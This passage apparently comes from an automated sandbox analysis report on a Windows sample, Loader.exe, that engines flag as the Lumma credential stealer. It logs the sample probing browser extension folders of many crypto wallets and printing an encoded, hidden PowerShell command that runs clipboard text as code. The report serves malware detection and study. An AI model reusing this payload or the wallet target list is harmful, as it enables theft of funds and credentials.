open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OriginTrials\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PKIMetadata\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\pnacl\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PnaclTranslationCache\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PrivacySandboxAttestationsPreloaded\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Safe Browsing\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\SafetyTips\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\segmentation_platform\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ShaderCache\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Subresource Filter\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\TpcdMetadata\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Variations" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\WidevineCdm\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ZxcvbnData\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\_side_profiles" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ehgjhhccekdedpbkifaojjaefeohnoea" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cdmojpgbgjbehpnpglcbecfphbapgcdf" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd"61:T2430,806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet) 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil related to Sui Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg related to Leap Cosmos Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb related to Compass Wallet for Sei 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cfbfdhimifdmdehjmkdobpcjfefblkjm related to Plug 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma related to Braavos – Starknet Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mfgccjchihfkkindfppnaooecgfneiii related to TokenPocket 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\cfbfdhimifdmdehjmkdobpcjfefblkjm related to Plug 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg related to Leap Cosmos Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet) 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb related to Compass Wallet for Sei 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\mfgccjchihfkkindfppnaooecgfneiii related to TokenPocket 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma related to Braavos – Starknet Wallet 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator 806964ff31e2acc80.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil related to Sui Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet) 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil related to Sui Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg related to Leap Cosmos Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb related to Compass Wallet for Sei 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\cfbfdhimifdmdehjmkdobpcjfefblkjm related to Plug 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma related to Braavos – Starknet Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\mfgccjchihfkkindfppnaooecgfneiii related to TokenPocket 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet 806964ff31e2acc80.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom62:T6f4,Spawned process "Loader.exe" (UID: 00000000-00007632) Spawned process "powershell.exe" with commandline "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')"" (UID: 00000000-00007308) Spawned process "806964ff31e2acc80.exe" (UID: 00000000-00008272) Spawned process "powershell.exe" with commandline "-Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A' -Verb RunAs"" (UID: 00000000-00004092) Spawned process "powershell.exe" with commandline ""powershell" -Command "Get-Process | Select-Object Name"" (UID: 00000000-00008248) Spawned process "powershell.exe" with commandline "-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A" (UID: 00000000-00005928)63:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp")64:Te52,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Write-Output -InputObject $byteCollectionObject" (Indicator: "Write-Output"; Source: "00000000-00002716.00000000.284251.ECD80000.00000004.mdmp, 00000000-00002716.00000001.285026.ECE02000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -LiteralPath $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00002716.00000000.284251.ECD80000.00000004.mdmp, 00000000-00002716.00000001.285026.ECE02000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -Path $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00002716.00000000.284251.ECD80000.00000004.mdmp, 00000000-00002716.00000001.285026.ECE02000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolvePathError"" (Indicator: "Write-Error"; Source: "00000000-00002716.00000000.284251.ECD80000.00000004.mdmp, 00000000-00002716.00000001.285026.ECE02000.00000004.mdmp")65:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791554485485,"unified_at":"2026-10-09T14:01:25.485Z","metadata":{"hashes":{"sha256":"6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","sha1":"dfeedc4eae6c517ef1286bd041cc36de8a608f46","md5":"53648dee77c997e3665a8c3add00eeaa","sha512":"598afff16262ee75f9866a62a124407c6ef5dff8c577371ea79ea8817805be998ba6d0553497400312c1cf5c0106772696727f312bd55ac99a8c23dd6e138f65","ssdeep":"98304:V3T2h9PPeJzgg3ty1qrMGUjEBoSMeduU8gsHZVY/YK2:VjigJMg3E1qwQFM/U8gsHCYX","ssdeep_chunks":["98304:V3T2h9P","98304:3T2h9PP","98304:T2h9PPe","98304:2h9PPeJ","98304:h9PPeJz","98304:9PPeJzg","98304:PPeJzgg","98304:PeJzgg3","98304:eJzgg3t","98304:Jzgg3ty","98304:zgg3ty1","98304:gg3ty1q","98304:g3ty1qr","98304:3ty1qrM","98304:ty1qrMG","98304:y1qrMGU","98304:1qrMGUj","98304:qrMGUjE","98304:rMGUjEB","98304:MGUjEBo","98304:GUjEBoS","98304:UjEBoSM","98304:jEBoSMe","98304:EBoSMed","98304:BoSMedu","98304:oSMeduU","98304:SMeduU8","98304:MeduU8g","98304:eduU8gs","98304:duU8gsH","98304:uU8gsHZ","98304:U8gsHZV","98304:8gsHZVY","98304:gsHZVY/","98304:sHZVY/Y","98304:HZVY/YK","98304:ZVY/YK2","196608:V3T2h9P","196608:3T2h9PP","196608:T2h9PPe","196608:2h9PPeJ","196608:h9PPeJz","196608:9PPeJzg","196608:PPeJzgg","196608:PeJzgg3","196608:eJzgg3t","196608:Jzgg3ty","196608:zgg3ty1","196608:gg3ty1q","196608:g3ty1qr","196608:3ty1qrM","196608:ty1qrMG","196608:y1qrMGU","196608:1qrMGUj","196608:qrMGUjE","196608:rMGUjEB","196608:MGUjEBo","196608:GUjEBoS","196608:UjEBoSM","196608:jEBoSMe","196608:EBoSMed","196608:BoSMedu","196608:oSMeduU","196608:SMeduU8","196608:MeduU8g","196608:eduU8gs","196608:duU8gsH","196608:uU8gsHZ","196608:U8gsHZV","196608:8gsHZVY","196608:gsHZVY/","196608:sHZVY/Y","196608:HZVY/YK","196608:ZVY/YK2","98304:VjigJMg","98304:jigJMg3","98304:igJMg3E","98304:gJMg3E1","98304:JMg3E1q","98304:Mg3E1qw","98304:g3E1qwQ","98304:3E1qwQF","98304:E1qwQFM","98304:1qwQFM/","98304:qwQFM/U","98304:wQFM/U8","98304:QFM/U8g","98304:FM/U8gs","98304:M/U8gsH","98304:/U8gsHC","98304:U8gsHCY","98304:8gsHCYX"],"imphash":"d42595b695fc008ef2c56aabd8efd68e","pehash":"8d689a57eabb995ba61bdb5245837c001f7bc5bc"},"file_info":{"file_name":"Loader.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":8346112,"entropy":6.88,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1766704229000,"last_seen":1791441421000,"last_multi_scan":1791441421000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["windows-server-utility","new_domain","malicious"]},"stats":{"av":{"malicious_count":14,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":115},"sandbox_signatures":{"informative_count":289,"suspicious_count":25,"malicious_count":8,"total":322},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.LummaStealer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win64.LummaStealer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Tedy.851139","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win64_LummaStealer_BSA_MTB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Tedy.851139 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/TrojanDownloader.Agent.MT 